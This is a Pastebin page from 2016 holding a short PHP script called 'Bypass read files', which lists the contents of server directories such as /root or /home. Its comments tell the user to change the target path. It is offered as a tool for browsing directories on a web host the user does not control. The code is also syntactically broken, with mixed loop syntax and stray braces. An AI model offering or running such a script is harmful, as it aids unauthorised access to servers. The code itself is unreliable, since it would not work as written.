scripts7com

Bypass read files [R-4] 2016 - scripts7.com

Jan 19th, 2016
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.54 KB | None | 0 0
  1.  <?php
  2. #// Bypass read files [R-4] 2016
  3. #// scripts7.com
  4. #// twitter.com/scripts7com
  5. #// r-4
  6. #// ONLY READ Dir ONLY !!! /root/ or /home/user/ or /
  7. #// Can't read files /etc/passwd !!  
  8.  
  9. function scripts7com($sc7)
  10. {
  11. echo "<table>";
  12. $f7=opendir($sc7);
  13. $u7=0;
  14. while(($s7=readdir($f7)) !== false)
  15. :if(substr($s7, 0, 1)===".")
  16. if(is_dir($s7))
  17. echo "<tr><td>$s7</td></tr>";
  18. echo "<tr><td>$s7</td></tr>";
  19. $u7++;
  20. endwhile;
  21. }
  22. echo "</table>";
  23. #// Change this one to : /home/ or /root/ or whatever you want
  24. scripts7com("/opt");
  25. ?>
Add Comment
Please, Sign In to add comment